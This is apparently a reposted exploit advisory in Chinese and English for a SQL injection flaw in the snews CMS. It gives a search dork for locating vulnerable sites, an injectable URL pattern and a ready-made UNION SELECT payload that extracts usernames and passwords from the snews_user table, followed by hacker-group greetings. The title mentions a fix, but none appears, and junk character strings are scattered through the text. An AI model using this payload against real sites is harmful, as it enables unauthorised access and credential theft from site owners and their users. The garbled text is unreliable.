CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
% |! u4 a- l, P3 A作者: By onestree
下载地址 : http://snewscms.com/
% e$ c) R9 f9 T* Z5 _5 ~! g& A测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"


*************************************************************
. `3 m' H5 `3 I* y
% s# A7 |- @4 {) g* |SQL poc:

http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
+ s# k! i1 ]0 u) V. \0 I
示例
/ r+ S( X. I8 W
+ p5 v# @* ?: a$ C3 i; chttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


# T7 d5 ?5 q+ I致谢:
$ v- V' T) C- ?/ {1 Z
, g! p+ g$ {, y, N# d  l  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
: c; c, {# W) J) I: D/ G4 h. U+ ?7 I/ j" z     
4 ~$ }9 x1 Y) v% Y8 ?! d          indonesiancoder - moeslimh4x0r - go-coder
; G+ I; j2 Q' Q4 Z
spesial my hunny :*